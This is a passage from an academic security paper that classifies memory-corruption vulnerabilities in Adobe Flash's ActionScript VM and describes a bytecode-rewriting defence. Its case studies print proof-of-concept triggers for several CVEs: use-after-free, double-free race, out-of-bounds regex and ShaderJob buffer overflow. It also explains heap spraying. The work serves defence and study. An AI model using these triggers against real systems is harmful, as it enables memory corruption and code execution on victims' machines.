the untrusted SWF to change all references to wrapped classes
to reference the corresponding wrapper classes instead. This
ensures that the untrusted SWF uses the safe functions pro-
vided by our Monitor class instead of using unsafe functions
in the untrusted class, thereby providing complete mediation.

Flash apps cannot directly self-modify (except by first
exploiting a VM bug, which we prevent), but they can dy-
namically generate and execute new bytecode via a select col-
lection of system API methods (e.g., Loader.loadBytes). In-
scription wraps these methods with bytecode that recursively
applies the code rewriting algorithm to dynamically generated
code before it executes. Likewise, system API methods that
allow ActionScript code to dynamically generate class ref-
erences from strings (e.g., flash.utils.getDefinitionByName)
are wrapped with bytecode that substitutes the resulting ref-
erence with one to a wrapper class if the class is wrapped.
This prevents untrusted ActionScript code from acquiring
unmediated access to vulnerable classes even by reflective
programming.

In direct bytecode rewriting, Inscription’s bytecode re-
writer scans the untrusted code for every occurrence of the
vulnerable method and injects guard-code surrounding it.
ActionScript type-safety guarantees that checks in the guard-
code are not circumvented. For policies that use wrapper
classes, Inscription’s SWF merge tool replaces every binary
occurrence of the vulnerable method call in the untrusted SWF

file with the corresponding overridden method of the wrapper
class instead.
2.5.2. Attack and Defense Design Challenges

While our overall approach is general enough to miti-
gate many different VM vulnerabilities and vulnerability sub-
classes (specifically, any computable safety policy (Hamlen
et al., 2006) and some non-safety policies (Ligatti et al.,
2005)), formulating sound and efficient policy implemen-
tations can sometimes require a detailed understanding of
VM internals, including known bugs. All vulnerabilities de-
scribed in this paper were results of subtle inconsistencies
in the complex ActionScript language semantics or obscure
security flaws deep inside the AVM. To formulate appropri-
ate policies, we therefore performed extensive background
research and experiments, since the AVM2 is not open source.
Additionally, a thorough knowledge of all ActionScript 3.0
classes and their properties involved in the vulnerabilities and
exploits were required to create policies to mitigate further
attacks.

Testing the resulting defenses can also be challenging.
Some vulnerabilities require a very specific environment in
order to be triggered; for example, the ByteArray DF studied
in §3.3 targets SWF version 25 specifically. Many synchro-
nization vulnerabilities abuse Workers, but neither of Adobe’s
Creative Suite tools for Flash development (Animate CC or
Flash Builder 4.7) have tracing or debugging for background
Workers. To test our policies, we therefore manually created
proof-of-concept ads with full exploits by stitching the ex-
ploits from code snippets and relevant information dispersed
among a broad array of threat reporting sources.

To the best of our knowledge, there are currently no com-
mercially available libraries or tools for ActionScript byte-
code manipulation. Complicating this problem, the SWF
binary format specification is open-ended in the sense that
SWFs may include binary sections with proprietary or other-
wise undocumented content tags; Flash players simply ignore
sections with tags they do not recognize. This, unfortunately,
tasks security tools with the daunting challenge of recog-
nizing and analyzing all possible tags (even undocumented
ones) recognized by all players in order to secure all mali-
cious content. To develop Inscription, we therefore pieced
together scattered information about many different players,
ActionScript compilers, and ActionScript parsers, to support
as many SWFs as possible. While we cannot ensure that our
efforts are fully comprehensive, we successfully tested our
prototype on a large number of ads currently distributed by
major ad networks to assess its completeness.
2.5.3. Deployment

We conservatively assume that most users update their
web-browsers and Flash Players only sporadically, which
allows their systems to be compromised by exploits targeting
vulnerabilities that were recently patched.

Our work targets malicious SWFs delivered by exploit
kits and malicious third-party content (e.g., malvertisements)
loaded by second-party content (e.g., web pages). Second-
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parties do not serve the malicious content directly, so they
cannot rewrite the Flash files on their servers. However, the
loader scripts that they serve to end-users do see and have
the opportunity to rewrite all dynamically loaded content,
including content loaded through redirections to malicious
servers. Our work therefore provides a means for trustworthy
second-parties to protect their end-users frommalicious third-
party content by embedding Flash rewriting logic into their
loader scripts. This does not entail updating the end-user’s
client, which second-parties generally cannot do. Third-party
malicious content dynamically embedded into otherwise trust-
worthy second-party content is one of the most common web
attack patterns highlighted in major threat reports today, mo-
tivating this as a potentially high-impact deployment model.
2.5.4. Limitations

While our high-level approach can apply to AVM1 vulner-
abilities, our current prototype implementation does not yet
support them. AVM1 runs ActionScript 1.0 and 2.0 which
are very different from ActionScript 3.0, requiring a different
parser and rewriter.

Inscription cannot stop malicious events generated within
externally loaded files. For example, in CVE-2016-0967,
loading an external .flv file corrupts the stack (Google Se-
curity Research Database, 2015). However, we do not an-
alyze or instrument the external file before loading; there-
fore our IRM cannot protect against it. In SWF binaries,
externally loaded files can be written in languages other than
ActionScript (e.g., JavaScript). Protecting against such at-
tacks should therefore combine Inscription with appropriate
defenses for those other languages.

3. Sub-Classes of Memory Corruption
Vulnerabilities & Case Studies
Creating robust and holistic defense solutions for mitigat-

ing critical, highly dangerous web-based VM vulnerabilities
requires a comprehensive understanding of the expected be-
haviors of the code segments that are responsible for the vul-
nerability and the reasons why some web script code might
act differently from their developers’ intentions. However,
building security solutions for every vulnerability-specific de-
sign flaw is an arduous task that involves an immense amount
of human effort. Therefore, generic, vulnerability-specific
security security solutions that address underlying issues of
the web-based VM implementations are essential for pro-
viding a secure web experience for web users. Studying the
attack surface of the web-based VMs by analyzing currently
disclosed vulnerabilities to identify a common thread causing
a class of vulnerability is crucial to building vulnerability-
class-specific, generic security solutions.

Researchers and security defense builders currently rely
mostly on the CVE (MITRE, Inc., 2020c) and NVD (NIST,
2020a) databases for obtaining information about vulnerabili-
ties in order to build mitigating defenses. These databases ex-
haustively list all disclosed vulnerabilities and provide useful
information about each vulnerability, such as a brief descrip-

tion, the type, the impact score, the severity of the vulnera-
bility, and the vulnerable versions of affected systems based
on reports from hundreds or thousands of researchers, from
hobbyists to professionals (MITRE, Inc., 2017). However,
having many contributors with different backgrounds hinders
having a coherent and well-formed vulnerability database,
which is an important prerequisite to building robust, generic
security solutions that address the implementation issues of
different web-based implementations.

For example, the CVE and NVD databases classify al-
most 30% of ActionScript vulnerabilities as “Memory Cor-
ruption” (MITRE, Inc., 2020e) vulnerabilities, which is in-
sufficiently precise for building many defenses, since it is too
coarse-grained—a “Memory Corruption” vulnerability can in
fact be further categorized into use-after-free (UAF) (MITRE,
Inc., 2020l), double-free (DF) (MITRE, Inc., 2020k), or one
of the buffer- (MITRE, Inc., 2020f), integer- (MITRE, Inc.,
2020i), or heap-overflow (MITRE, Inc., 2020g) vulnerabili-
ties. Mitigating each of these vulnerability types requires dif-
ferent security approaches and techniques. Also, a significant
number of CVE entries do not declare the type of Action-
Script vulnerabilities, labeling them as “Unknown”. MITRE
reports that more than a quarter (26.8%) of the OS vendor ad-
visories received this classification (type “Unknown”) (MITRE,
Inc., 2017). Additionally, CVE and NVD databases poten-
tially misclassified four “critical” and exploitable vulnerabil-
ities affecting confidentiality, 42 vulnerabilities for integrity,
and 46 vulnerabilities for availability in just the last two
years (ENISA, 2019).

The perils of these more specific forms of memory pointer
misuse have long been recognized by software engineers
(since at least the 1960s (Brown, 1965)), and today rank
highly amongMitre’s CommonWeakness Enumeration (CWE)
(MITRE, Inc., 2020d), which catalogues over 1200 general
forms of software flaws. However, vulnerability instances
disclosed by software developers as CVEs are not generally
categorized in this way, in part becausemany CWE categories
are intended as broad umbrellas of advice (e.g., “CWE-546
Suspicious Comment”) rather than specific flaw types into
which vulnerabilities can be objectively categorized. CVE
vulnerabilities that are any form of memory corruption are
therefore prone to receiving a vague “Memory Corruption”
label. Unfortunately, this renders that categorization unhelp-
ful for security personnel, who need to have a more detailed
classification to analyze and fix the underlying security issue.

In this section, we describe sub-classes of “Memory Cor-
ruption” vulnerabilities in the implementation of web-based
VMs. These vulnerabilities are frequently added to exploit
kits sold to hackers in the underground—–Angler EK, Neu-
trino, and Nuclear Pack (Kaspersky, 2015). In addition, we
introduce an example of vulnerability for each vulnerability
sub-class and explain implementation flaws inside the AVM
that cause these vulnerabilities. We also discuss more techni-
cal details on reasons of why the AVM performs unintended,
malicious behaviors and how exploits can exploit the unex-
pected program states occurring after the vulnerabilities are
triggered.
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3.1. Motivation & Methodology
Motivation. An important distinction between MITRE’s
CVE and CWE databases is that the former is an exhaustive
directory of vulnerabilities and attacks mainly aimed to help
security researchers and others apply diagnostics and clas-
sification to analyze and patch vulnerabilities, whereas the
latter is mainly used to provide a “weakness” resource to help
programmers and software architects avoid listed flaws in
their software (MITRE, Inc., 2020a; Sivakumar and Garg,
2007). Therefore, CWE labels do not directly help security
researchers with vulnerability diagnostics.

Additionally, many times, there is no direct mapping be-
tween CVE entries and fine-grained CWE labels; the CWE
list is too detailed for CVE classification—there are too many
potential CWE labels to choose from for a particular CVE
entry. Therefore, researchers tend to pick a coarse-grained
classification for vulnerabilities they disclose, consequently
leading to loss of information (Neuhaus and Zimmermann,
2010). For example, the “Memory Corruption” CVE class
is used to describe the consequences of writing to memory
outside the bounds of a buffer as a result of incorrect pointer
arithmetic, accessing invalid pointers due to incomplete ini-
tialization or memory release (MITRE, Inc., 2020e). As a
result, “Memory Corruption” becomes a blanket term for a
set of many other vulnerability sub-classes such as access of
uninitialized pointer (MITRE, Inc., 2020n), out-of-bounds
read (MITRE, Inc., 2020h), return of pointer value outside
of expected range (MITRE, Inc., 2020m). Therefore, label-
ing a vulnerability as “Memory Corruption” does not give
sufficient details about the underlying weaknesses that cause
the vulnerability for diagnostic purposes, since all of these
vulnerability sub-classes have their own idiosyncrasies that
require vulnerability-class specific security solution to be
solved (MITRE, Inc., 2020b). However, knowing these de-
tails about vulnerabilities is crucial for building a robust,
effective security solution. Fig. 17 in §5 demonstrates that
almost 30% of ActionScript vulnerabilities been disclosed
since 2013 are labeled as “Memory Corruption” vulnerabil-
ities, in fact, they can be further classified into one of the
more fine-grained “Memory Corruption” sub-classes.
Methodology. In order to identify the most relevant vulner-
ability sub-classes for the CVE “Memory Corruption” class,
we use the following methodology. First, we analyze the
following specific properties for each AVM vulnerability: (1)
types of implementation errors that cause the vulnerability,
(2) methods of exploiting the vulnerability, (3) privileges and
capabilities that attackers gain after triggering the vulnerabil-
ity, (4) assets damaged during the execution of exploits, (5)
consequences of successful exploits, and (6) frequency of the
vulnerability being exploited in real-life. We also consider
the CVE severity score of the vulnerability, and whether it
was frequently exploited by infamous exploit kits, since the
execution of a vast majority of these vulnerabilities (more
than 80%) can lead to remote/arbitrary code execution, which
is one of the most dangerous malicious activities. Addition-
ally, our analysis shows that the design flaws that result in

(a) Typical object allocation in memory

(b) Dangling pointer occurrence after UAF vulnerability

(c) Exploiting the dangling pointer to access metadata of the conse-
quently created Vector instance
Figure 3: Accessing metadata of Vector instance by exploiting
UAF vulnerability

these vulnerabilities are not vulnerability-specific, unlike the
design flaws that lead to other vulnerability classes. Thus,
focusing on these five vulnerability sub-classes allows us to
build a generic security solution that mitigates these vulner-
abilities (please see Section 2). Our analyses allows us to
prioritize five sub-classes of “Memory Corruption” vulnera-
bility class, which we describe in detail in this section.

There are other, less commonly exploited vulnerability
classes than “Memory Corruption” vulnerabilities mentioned
in the CVE and NVD databases. We do not prioritize these
classes due to the following reasons. First, the number of
these vulnerabilities is relatively smaller than the number of
vulnerabilities in our sub-classes of “Memory Corruption”
vulnerabilities. For example, the number of integer overflow
vulnerabilities is only 17 compared to 255 UAF vulnerabili-
ties. Second, the design flaws that lead to the vulnerabilities
from these classes are vulnerability-specific, which hinders to
build a generalized solution. We provide more technical de-
tails about those classes in §4 in order to highlight the reasons
for us to exclude them from our generic and comprehensive
security solution.
3.2. Use-After-Free

UAF vulnerabilities are one of the most common vulnera-
bility sub-classes, with more than 250 entries for Flash Player
in the last seven years in the NVD (NIST, 2020b). UAF vul-
nerabilities create a dangling pointer referencing memory
after it has been freed. The vulnerability occurs in case the
VM’s garbage collector (which is responsible for reclaiming
memory occupied by objects that are no longer in use by the
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program) are asynchronous, or the VM is not able to manage
object references properly. Referencing a freed object grants
unauthorized access to the memory even if it is allocated
to another object later on. Fig. 3a illustrates a typical ob-
ject allocation in the memory. The object reference points a
memory location where the metadata of the object is stored.
Fig. 3b demonstrates a UAF vulnerability that happens after
the object is freed. Even though the object is freed, the mem-
ory pointer is not removed and becomes a dangling pointer,
which can be exploited by attackers to corrupt the data in this
particular memory segment. Fig 3c displays that the dangling
pointer provides access to metadata of a consequently created
Vector instance. An exploit can corrupt .length property of
the Vector instance by utilizing the dangling pointer to gain
access to the entire memory. UAF vulnerabilities may lead
to a program crash or can be the first step of more malicious
activities such as remote code execution.
Name Description
ByteArray Class Provides methods and properties to optimize

reading, writing, and working with binary
data.

m_buffer Is located at offset 0x24 in the ByteArray class
points to an object of the ByteArray::Buffer

class, which eventually leads to the actual
array of bytes (paloalto Networks, 2015).

m_subscribers Contains a pointer to a ListData object, which
holds information about entities that should
be notified when the ByteArray instance is
reallocated/freed (i.e., its place in memory
changes), or even simply when its length
changes (paloalto Networks, 2015).

m_isShareable Demonstrates whether the byteArray instance
is shared between Workers. When the
ByteArray instance is shared, there’s no need
to copy the data, but rather to point to the ex-
act same ByteArray::Buffer instance m_buffer

points to (paloalto Networks, 2015).

m_byteArray Is a static allocation of a ByteArray in-
stance (paloalto Networks, 2015).

Worker Class Allows executing code "in the background" at
the same time that other operations are run-
ning in another workers (including the main
script’s worker). This capability of simultane-
ously executing multiple sets of code instruc-
tions is known as concurrency.

AvmCore::integer Calculates the numeric value of an instance
given as parameter

Vector Class Allows accessing and manipulating a dense
array whose elements all have the same data
type. The data type of a Vector’s elements is
known as the Vector’s base type.

Figure 4
Description of classes and properties involved in our example
UAF vulnerability

Case Study #1 UAFVulnerability due to Side-Effects of
aMalicious Function Definition. CVE-2015-5119, another
popular vulnerability fromKaspersky’s Devil’s Dozen (Kasper-
sky, 2015), was added to Angler EK, Neutrino, Hanjuan, Nu-
clear Pack, and Magnitude exploit kits in 2015, leaked from
the Hacking Team (Li, 2015). CVE-2015-5119 is a use-after-
free vulnerability resulting from a faulty implementation of
the ByteArray operator [], used to access an element or assign
a value to an element at a given index. A ByteArray instance
is an ordinary array but it holds data whose type can be byte

only. The attacks that exploit the UAF vulnerability assign
an object that belongs to a user-defined class to an index of
the ByteArray instance. When an instance (the instance can
belong to any class) is assigned to a variable or a position of
a data structure, the valueOf function of the instance is called
to determine the exact value of the object. If the object is
primitive, the valueOf function returns the primitive value of
the object. Otherwise, the valueOf function returns the object
pointer. The default valueOf function is defined in Object

class, which is the default parent class of all user-defined and
predefined classes in ActionScript language, but it can be
overridden in user-defined classes in order to call the over-
ridden valueOf function definition when an instance, which
belongs to the user-defined class is invoked.

Listing 4 demonstrates the exploit, which consists of
two classes (malClass and hClass) that operate on the same
ByteArray objects. Line 3–4 create a ByteArray object b1 and
set its length to 12. Line 5 instantiates an hclass object, mal,
and passes b1 as an argument to the constructor of hclass.
Line 12, in the constructor of hclass, b3 is used to hold the
argument that has been passed to the constructor, which is
then assigned to a local property b2. So now both b1 from
malclass, and b2 from hclass, are referencing the same object.
Back in malclass, Line 6 assigns mal to the index 0 of b1 us-
ing operator [] and invokes the valueOf() function of hclass
defined in Line 14. Line 15 increases the length of ByteArray
b2 (also referenced by b1), as a side-effect of this function,
and due to the semantics of the length property, the ByteArray
instance is freed and is assigned a new chunk of memory.

When a ByteArray instance is freed, entities stored in
the ListData instance pointed by the m_subscribers property
of the ByteArray instance are notified. m_subscribers is a
property of ByteArray instances, which contains a pointer
to a ListData instance, which holds information about en-
tities that should be notified when the ByteArray instance

Figure 5: Implementation of properties of ByteArray class
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Listing 4: The PoC for CVE-2015-5119
1 pub l i c c l a s s malC la s s ex tends Spr i t e {
2 pub l i c func t i on malC la s s ( ) {
3 var b1 = new ByteArray ( ) ;
4 b1 . l e n g t h = 0x200 ;
5 var mal = new hC l a s s ( b1 ) ;
6 b1 [ 0 ] = mal ;
7 }
8 }
9 pub l i c c l a s s hC l a s s {
10 pr i v a t e var b2 = 0 ;
11 pub l i c func t i on hC l a s s ( var b3 ) {
12 b2 = b3 ;
13 }
14 pub l i c func t i on va lueOf ( ) {
15 b2 . l e n g t h = 0x400 ;
16 re turn 0x15 ;
17 }
18 }

is reallocated or freed (i.e., its place in memory changes),
or even simply when its length changes. Listing 5 shows
the vulnerable implementation of setUintProperty function
in the AVM interpreter, which is responsible for handling
object assignment to indices of ByteArray instances. This
function calls a function named AvmCore::integer, which cal-
culates the numeric value of an instance given as parameter,
to obtain the numeric value of the given parameter, value,
since ByteArray instances can hold data whose type is byte.
Since the value assigned to the zeroth index of ByteArray b1

belongs to a user-defined class, hClass, AvmCore::integer in-
vokes the valueOf function defined in this class. Asmentioned
above, the valueOf function changes the length of ByteArray
b1, which frees the ByteArray instance. However, Line 5 from
Listing 5 has already pushed the reference of m_byteArray in-
stance to the stack. Thus, the reference of m_byteArray is not
updated as ByteArray b1 is freed and m_byteArray becomes a
dangling pointer. This dangling pointer is still accessible with
b1[0] in Line 6 from Listing 4. Therefore, the value returned
at the end of the valueOf function in Line 16 from Listing 4,
0x15, is written on the recently freed memory chunk on which
the consequently created Vector instance can be assigned, as
shown in Figure 3c.
3.3. Double-Free

DF vulnerabilities occur when a freeing operation is
called more than once with the same memory address as
an argument. DF vulnerability is a type of UAF vulnerability
that exploits the structure of the garbage collector, which
is doubly-linked list (Gootooru, 2013). Although freeing
memory twice seems non-threatening, it distorts the struc-
ture of the pointers since the garbage collector works with

Listing 5: Implementation of setUintProperty function
1 void By t eAr r ayOb j e c t : : s e t U i n t P r o p e r t y
2 ( u i n t 3 2 _ t i , Atom va l u e )
3 {
4 m_byteArray [ i ] = u i n t 8 _ t
5 (AvmCore : : i n t e g e r ( v a l u e ) ) ;
6 }

the "first-in, last-out" principle by placing freed memories at
the head of the list and allocating memory starting from the
head. Fig. 6 demonstrates the structure of a typical garbage
collector with three memory chunks. Every memory chunk
points to the “next” and “previous” memory chunks to create
a doubly-link list. DF vulnerabilities cause placing the freed
memory at the head twice and making it point to itself as both
forward and backward memory. Fig. 7 shows the structure of
the garbage collector after Chunk 2 is freed twice. Chunk 2 is
put at the head of the list twice, which makes Chunk 2 point to
itself. A malicious activity such as arbitrary code execution
can be crafted by overwriting the pointers in freed memory.
Fig. 8 demonstrates that the forward and backward pointers
in Chunk 2 can be overwritten with a new user data after a
DF vulnerability is triggered. A specially crafted attack can
exploit this vulnerability and transfer the control-flow of the
program to an arbitrary code block.
Case Study #2 DF Vulnerability due to Lack of Syn-
chronization Among Threads. CVE-2015-0359 (MITRE,
Inc., 2014) is a DF vulnerability exploited by famous ex-
ploit kits (Garnaeva et al., 2016). The vulnerability is the
result of a race condition amongst simultaneously running
threads. ActionScript supports multi-threading by code that
instantiates the Worker class. Each Worker instance creates
a fresh, background SWF execution and they can share a
ByteArray instance if a ByteArray instance is assigned to their
m_isShareable fields. Worker instances can perform any oper-
ation (including clear) on the shared ByteArray instance as if
it is declared in their execution.

Fig. 9 shows the constructor function of ByteArray class.
The Worker instances utilize the ByteArray constructor func-
tion to create the shareable ByteArray instance in their SWF
execution. However, as shown in the highlighted line in
Fig. 9, the ByteArray constructor function creates an empty
ListData object for the m_subscribers property in these back-
ground SWF executions, which causes the background SWF
executions to forget entities included in the ListData objects.
Thus, while the main Worker instance notifies entities listed in
ListData object pointed by the m_subscribers property when
the shared ByteArray instance is freed, the background Worker

instances cannot notify subscribing entities since the ListData
object they contain is empty.

Here, the AVM does not notify subscribers of a ByteArray
instances so that simultaneously running threads do not get
any notification if the shared ByteArray instance is cleared
or reallocated. The exploits that trigger the vulnerability
create many background Worker instances and run them si-
multaneously with one main Worker instance. While the main
Worker instance tries to allocate the shared ByteArray instance,
the background Workers try to clear it in a loop during the
execution. If two or more Workers consequently clear the
shared ByteArray instance between two allocations of the
main Worker, the shared ByteArray instance is cleared twice,
exploiting the DF vulnerability.

Listings 6, 7 show code for the primary Worker and back-
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Figure 6: Typical garbage collector implementation

Figure 7: Structure of the garbage collect after DF vulnerability

Figure 8: Exploiting a DF vulnerability by overwriting pointers

ground Worker (bgWorker) respectively. In the attack, the pri-
mary Worker and bgWorker concurrently operate on a shared
ByteArray object, bShared. Lines 1–3 from Listing 6 show the
primary Worker creating bShared and setting it as shared prop-
erty with bgWorker. Inside a loop (Listing 6, Lines 7–18), the
primary Worker writes to bShared and sets its length. Concur-
rently, inside another loop (Listing 7, Lines 3–7), bgWorker
also writes to bShared, clears it and reduces its length. The
attacker creates a race condition between both Workers by
having bgWorker clear bShared (Listing 7, Line 5) between
the events of freeing and allocating a new memory chunk
to bShared (Listing 6, Line 8, length semantics) inside the
primary Worker. This race condition causes bShared to be
freed twice. To determine whether the double-free vulnera-
bility was triggered or not, in every iteration of the loop the
attacker allocates a new ByteArray twice to the same variable

Figure 9: Implementation of the constructor function of
ByteArray class

b (Listing 6, Line 9 and Line 14). The attacker then assigns
an index at the ninth element of b and pushes them one by
one on to an Array a (Listing 6, Line 12 and Line 17). The
attacker tracks the index to be assigned to the next allocation
of b using a sequential counter ib (Listing 6, Line 11 and
Line 16). If the race condition succeeds, then the second
allocation of b overwrites the first allocation.

To determine the iteration of the loop where the vulner-
ability was exploited, the attacker scans the index of every
ByteArray instance allocated inside the array, a (Listing 6,
Lines 21–27). If two allocations of b have the same index,
it implies that the missing index was overwritten by the in-
stance of b that allocated to the same memory chunk. This
gives the attacker access to a pointer to control the heap and
inject shellcode via b.
3.4. Out-of-Bounds Read

Out-of-bounds read vulnerabilities lead to unauthorized
access to past the end or before the beginning of the intended
buffer. Attackers cannot perform RCE by triggering an out-
of-bounds read vulnerability solely, but they can utilize the
attack to obtain security-sensitive information from the stack
or the heap to facilitate more dangerous attacks.

Yilmaz et al.: Preprint submitted to Elsevier Page 13 of 26



A Security Analysis and Fine-Grained Classification of Web-based Virtual Machine Vulnerabilities

Listing 6: Primary Worker writing to ByteArray bShared

1 bShared = new ByteArray ( ) ;
2 bgWorker . s e t S h a r e d P r o p e r t y ( " by t eA r r ay " ,
3 bShared ) ;
4 . . .
5 var i b : u in t = 0 , b : ByteArray = nu l l ;
6 var a : Array = new Array ( ) ;
7 f o r ( k=4; k<0x3000 ; k+=4) {
8 bShared . l e n g t h = 0x400 ;
9 b = new ByteArray ( ) ;
10 b . l e n g t h = baLength ;
11 b [ 8 ] = i b ;
12 a . push ( b ) ;
13 i b ++;
14 b = new ByteArray ( ) ;
15 b . l e n g t h = baLength ;
16 b [ 8 ] = i b ;
17 a . push ( b ) ;
18 i b ++; }
19 f o r ( k=0;k<a . l e n g t h ; k++) {
20 b = a [ k ] ;
21 i f ( b [ 8 ] != ( k%0x100 ) ) {
22 a [ k +1] . l e n g t h = 0x1000 ;
23 v . l e n g t h = vLength ;
24 b . p o s i t i o n = 0 ;
25 b . w r i t eUn s i g n e d I n t (0 x41414141 ) ;
26 a [ k −1 ] . l e n g t h = 0x1000 ;
27 var l : u in t = 0x40000000 −1;}

Case Study #3 Out-of-Bounds Read because of Access-
ing Memory without Checking Buffer Boundaries. CVE-
2015-0310 (MITRE, Inc., 2015a) is an out-of-bounds read
vulnerability residing in the implementation of exec function
of the RegExp API. The exec function has a fixed-sized array,
named ovector, of size 99 in the call stack that stores the
starting and the ending indices of matched strings. This array
can store up to 49 matches. As shown in Fig. 10, after a
RegExp query, if a match is found, the exec function returns
a positive number that indicates success. If the pattern does
not match with any strings, the exec function returns negative
one, which indicates the failure. However, if the number of
matches exceeds the array offset, the exec function returns a
zero (hiddencodes, 2015).

The vulnerability resides in the ArrayObject* RegExpOb-
ject::_exec() function definition, invokedwhenActionScript
code calls the exec function. This function accepts the subject
string and returns an array to ActionScript during the call up.

Listing 7: Background Worker writing to and clearing
ByteArray bShared

1 f unc t i on playWithWorker ( ) {
2 . . .
3 f o r ( j =0; j <0x1000 ; j ++) {
4 bShared . w r i t eOb j e c t ( tempBytes ) ;
5 bShared . c l e a r ( ) ;
6 t r a c e ( " b y t e a r r a yC l e a r e d " ) ;
7 bShared . l e n g t h = 0x30 ; }
8 mutex . un lock ( ) ;
9 Worker . c u r r e n t . t e rm i n a t e ( ) ; }

exec()

return values Description
> 0 success; value is the number of elements filled in
= 0 success; but offsets is not big enough
-1 failed to match

< -1 some kind of unexpected problem

Figure 10
The values ArrayObject* RegExpObject::_exec() returns

Fig. 11 and Fig. 12 show the regular expression that can trig-
ger the out-of-bounds vulnerability, and the subject string
in which the regular expression is searched, respectively.
The regular expression contains more than 49 open brackets,
which cause the ArrayObject* RegExpObject::_exec() func-
tion to return zero and fill the ovector with dummy values.
In addition, the regular expression has a named capturing
group (P?<test>), which captures the match of group into the
backward reference “test”. ActionScript handles capturing
names with the m_hasNamedGroups(toCopy->m_hasNamedGroups)
attribute, which holds true if the regular expression has a cap-
turing group. This attribute is used to create a name_table,
which captures the information about the “named captures”
names and offsets to ovector. Fig. 13 demonstrates the mem-
ory structure of the name_table and the ovector. The offset in
the name_table points to the 50th (0x32) index of the ovector,
an illegal index since the ovector can hold 48 (0x30) elements.
The vulnerability allows the name_table to point beyond the
boundaries of the ovector since the named group is placed at
the end of the regular expression and the ovector is filled with
dummy values. Therefore, an attacker can exploit this vul-
nerability to obtain sensitive information using the pointer in
the name_table with a specifically crafted regular expression.
sh(?!e|((((((((((((((((((((((((((((((((((((((((((((((((?!e|(

))37)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|

a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a|a)|a

)|a)|a)|a)|a)|a)|a)|a)|a)(?P<test>)

Figure 11: Regular expression used to trigger CVE-2015-0310

3.5. Buffer Overflow
Buffer overflow vulnerabilities are one of the most com-

mon types of vulnerabilities that in any software implemen-
tation. Using these vulnerabilities, exploits can overwrite
arbitrary memory location by triggering the vulnerability,
especially memory adjacent to the vulnerable buffer. The
vulnerability happens because of a lack of appropriate bound-
ary checks when a thread writes data to the buffer. This
vulnerability is triggered to overwrite a return address for a

_regExpobject.exec(“sh0123456789sh0123456789”);

Figure 12: The subject string in which the regular expression
given in Fig. 11 is search
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Figure 13: Implementation of the constructor function of
ByteArray class (hiddencodes, 2015)

function mostly, since the return address is placed right after
a buffer, which holds function parameters that may be user
inputs, in the stack. Function parameters are, therefore, the
perfect place to insert crafted arguments to performmalicious
activities in victim machines. Fig. 14 illustrates a typical call
stack before and after a buffer overflow vulnerability is trig-
gered. The call stack places the local variables above the
return address, which can be overwritten when one of the
local variables is overflowed. Therefore, exploits can hijack
the control-flow of the vulnerable program by modifying the
return address.
Case Study #4 Buffer Overflow Vulnerability Happens
Allocating Data to a Smaller Buffer. CVE-2015-3090 was
spotted inMay 2015 and has been exploited in thewild (Google
Project Zero, 2015). The vulnerability occurs due to the lack
of a buffer overflow check in a specific part of the AVM
code. As seen in Listing 8, the AS3 APIs involved in trig-
gering the vulnerability are in the Shader class (line 13), used
to represent a Pixel Bender shader kernel in ActionScript.
Pixel Bender is an image and video processing toolkit that
has been developed by Adobe and employs the Pixel Bender
kernel language (Adobe, Inc., 2010). Shader operations can
be performed in stand-alone mode on a target image using a
ShaderJob instance (Line 12). The target image is represented
by a BitmapData object, as seen in Line 11.

Attackers can exploit this vulnerability by creating a race
condition in ShaderJob—increasing the width/height of a tar-
get BitmapData object, while performing the Shader operation
in asynchronous mode using the ShaderJob object, will re-
sult in a buffer overflow. Lines 3 to 9 depict the creation
of the Pixel Bender shader kernel, which is assigned to the
Shader object in Line 14. The BitmapData constructor takes
two integer parameters, which represents and fixes its height
and width as seen in Line 11. The ShaderJob is started in
asynchronous mode in Line 17; subsequently, increasing the
height of the target BitmapData object results in a buffer over-
flow due to a missing check in the AVM implementation of
ShaderJob.

3.6. Heap Spraying
Heap spraying is a technique used in exploits to facilitate

arbitrary code execution. Heap spraying is not an actual vul-
nerability, but it is used to increase the possibility of correctly
transferring the program flow to the injected shellcode, the
malicious piece of code that the attacker wants to execute in
the victim machine. Since the memory layout is altered fre-
quently with Address Space Layout Randomization (ASLR),
a memory-protection technique for operating systems that
guards against cyber attacks by randomizing the location
where system executables are loaded into memory (Rouse,
2014), exploits cannot calculate the correct address of in-
jected shellcode to jump to during run time. Thus, exploits
would have to wildly guess the address of the shellcode, which
is almost impossible, since the shellcode can be allocated to
any address in the memory and the address is calculated in
run-time (the probability of jumping the shellcode is only
1∕232 assuming the victim machine utilizes 32-bit operating
system with ASLR enabled). In this case, exploits utilize
heap spraying with a large nop-sled (the nop-sled contains
numerous no-operation instructions which do not perform
any operation or change registers.) followed by the shellcode.
Transferring the program-flow to any no-operation instruc-
tion somewhere within the nop-sled results in executing the
shellcode. Therefore, exploits can significantly increase the
probability of executing the shellcode by having a nop-sled

(the probability of executing the shellcode with a nop-sled

size of 1GB is 230∕232 = 1∕4).
Listing 9 shows the code for a proof-of-concept heap

spray attack. Lines 2 and 3 show the code where the basic
byte sequence for the shellcode (in this case the string ‘HEAP-
SPRAY!’) and no-operation (‘nop’) instruction are stored in
variables shellcode and nop as Strings respectively. Lines 4-
10 create one enormous block (0x50000 or 327680 bytes) of
memory consisting of smaller chains of the nop instructions
commonly referred to as a nop sled or a nop slide. Lines 12-13
create a ByteArray object and repeatedly insert the concate-
nation of the strings nop sled and shellcode in the ByteArray.

Listing 8: Triggering Buffer Overflow in ShaderJob

1 pub l i c func t i on ShaderJobTOCTOU ( ) : void
2 {
3 var ba : ByteArray = new ByteArray ( ) ;
4 ba . w r i t eBy t e (0 xa1 ) ;
5 / / De f i n e parame te r
6 ba . w r i t eBy t e (0 x00 ) ; / / Empty s t r i n g
7 ba . w r i t eUn s i g n e d I n t (0 x00000010 ) ;
8 ba . w r i t eUn s i g n e d I n t ( 0 ) ;
9 ba . p o s i t i o n = 0 ;
10 var bd : Bi tmapData =
11 new BitmapData (1024 , 1 024 ) ;
12 var j ob : Shade r Job = new Shade r Job ( ) ;
13 var s h ad e r : Shader = new Shader ( ) ;
14 s h ad e r . byteCode = ba ;
15 job . t a r g e t = bd ;
16 job . s h a d e r = sh ad e r ;
17 job . s t a r t ( f a l s e ) ;
18 / / f a l s e means asynchronous j ob
19 job . h e i g h t = 1025 ;
20 }
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Figure 14: Structure of the call stack with buffer overflow vulnerability

The final heap now has a long chain of blocks containing
nop instructions and the shellcode. The heap spray attack
can similarly be executed by inserting shellcode into a Vector

